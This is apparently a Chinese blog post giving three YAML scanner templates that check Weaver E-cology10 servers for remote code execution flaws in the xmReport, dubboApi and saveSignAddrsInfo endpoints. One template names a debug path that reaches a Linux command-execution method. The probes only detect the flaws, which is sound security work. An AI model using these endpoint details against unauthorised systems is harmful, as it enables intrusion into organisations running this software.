泛微E-cology10 xmReport、dubboApi、saveSignAddrsInfo 远程代码执行漏洞 Poc
泛微E-cology10 xmReport、dubboApi、saveSignAddrsInfo 远程代码执行漏洞 Poc
泛微 E-cology10 xmReport远程代码执行漏洞
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
name: poc-yaml-weaver-ecology10-archive-rce
transport: http
rules:
r0:
request:
method: GET
path: /papi/archive/aux/xmReport/preview
expression: |-
response.status == 405 && response.body_string.contains('"error":"Method Not Allowed"')
&& response.body_string.contains('"path":"/papi/archive/aux/xmReport/preview"')
r1:
request:
method: POST
path: /papi/archive/aux/xmReport/preview
headers:
Content-Type: application/x-www-form-urlencoded
body: ""
expression: |-
response.status == 200 && response.body_string.contains('"code":500')
&& response.body_string.contains('"msg":"系统错误"')
&& response.body_string.contains('"status":false')
&& response.body_string.contains('"fail":true')
expression: r0() && r1()
泛微 E-cology10 dubboApi远程代码执行漏洞
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
name: poc-yaml-weaver-ecology10-dubbo-debug-rce
transport: http
rules:
r1:
request:
method: POST
path: /papi/esearch/data/devops/dubboApi/debug/method?interfaceName=com.weaver.dw.platform.spark.util.LinuxCommand&methodName=execCmdWaitStdOut
headers:
Content-Type: application/json
body: '[]'
expression: >
response.status == 200 && response.body_string.contains('"code":500')
&& response.body_string.contains('"msg":"系统错误"')
&& response.body_string.contains('"status":false')
&& response.body_string.contains('"fail":true')
expression: r1()
泛微 E-cology10 saveSignAddrsInfo远程代码执行漏洞
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
name: poc-yaml-weaver-ecology10-hessian-rce
transport: http
set:
key: randomLowercase(12)
rules:
r1:
request:
method: POST
path: /papi/calendar/saveSignAddrsInfo
headers:
Content-Type: application/json; charset=utf-8
body: >
{}
expression: response.status == 200 && response.body_string.contains('"data":"缺少参数或者参数错误"')
r2:
request:
method: GET
path: /papi/calendar/getSignAddrsInfo?key=r_
expression: response.status == 200 && response.body_string.contains('"msg":"接口返回成功"') && response.body_string.contains('"status":true')
expression: r1() && r2()
本文由作者按照
CC BY 4.0
进行授权